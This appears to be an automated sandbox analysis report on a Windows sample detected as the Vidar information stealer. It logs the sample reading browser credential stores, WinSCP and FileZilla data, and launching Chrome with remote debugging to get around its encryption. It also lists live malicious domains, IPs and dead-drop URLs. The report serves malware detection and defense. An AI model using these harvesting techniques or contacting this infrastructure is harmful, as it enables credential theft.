Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\mtbkkesfthae.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: mtbkkesfthae.exe PID: 1548, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\mtbkkesfthae.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\temporary\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\y572q81e.default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\mtbkkesfthae.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\mtbkkesfthae.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: mtbkkesfthae.exe PID: 1548, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	2 OS Credential Dumping	11 Query Registry	Remote Services	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	1 Credentials in Registry	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	22 System Information Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
mtbkkesfthae.exe	58%	ReversingLabs	Win32.Trojan.Vidar
mtbkkesfthae.exe	59%	Virustotal		Browse
mtbkkesfthae.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
gladim.sbs	6%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://gladim.sbs/z4uj	100%	Avira URL Cloud	malware
https://gladim.sbs/b4mj	100%	Avira URL Cloud	malware
https://gladim.sbs/	100%	Avira URL Cloud	malware
https://gladim.sbs	100%	Avira URL Cloud	malware
https://gladim.sbs/K	100%	Avira URL Cloud	malware
https://gladim.sbs/g	100%	Avira URL Cloud	malware
https://gladim.sbs/P4	100%	Avira URL Cloud	malware
https://gladim.sbs/d	100%	Avira URL Cloud	malware
https://gladim.sbs/8Y	100%	Avira URL Cloud	malware
https://gladim.sbs	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fg.microsoft.map.fastly.net	199.232.210.172	true	false		high
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false		high
chrome.cloudflare-dns.com	172.64.41.3	true	false		high
t.me	149.154.167.99	true	false		high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false		high
sb.scorecardresearch.com	18.165.220.110	true	false		high
www.google.com	172.217.21.36	true	false		high
gladim.sbs	94.130.210.71	true	true	6%, Virustotal, Browse	unknown
googlehosted.l.googleusercontent.com	142.250.181.65	true	false		high
clients2.googleusercontent.com	unknown	unknown	false		high
bzib.nelreports.net	unknown	unknown	false		high
assets.msn.com	unknown	unknown	false		high
c.msn.com	unknown	unknown	false		high
ntp.msn.com	unknown	unknown	false		high
api.msn.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://assets2.msn.com/bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false		high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false		high
https://gladim.sbs/	true	Avira URL Cloud: malware	unknown
https://www.google.com/async/newtab_promos	false		high
https://t.me/gv4dlp	false		high
https://www.google.com/async/ddljson?async=ntp:2	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
https://chrome.cloudflare-dns.com/dns-query	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, DHJJEG.0.dr, FHJDBK.0.dr	false		high
https://duckduckgo.com/ac/?q=	mtbkkesfthae.exe, 00000000.00000003.1732326259.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1724362399.0000000003627000.00000004.00000020.00020000.00000000.sdmp, mtbkkesfthae.exe, 00000000.00000003.1742776678.0000000003627000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, DHJJEG.0.dr, FHJDBK.0.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://ntp.msn.com/_default	QuotaManager.15.dr	false		high
https://www.last.fm/	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.16.dr	false		high
https://steamcommunity.com/profiles/76561199803837316g88paMozilla/5.0	mtbkkesfthae.exe	false		high
https://docs.google.com/	manifest.json.15.dr	false		high
https://www.youtube.com	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://www.instagram.com	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://drive.google.com/	manifest.json.15.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
https://www.messenger.com	8c8f065c-5a94-4673-88d9-be1398c3395e.tmp.15.dr	false		high
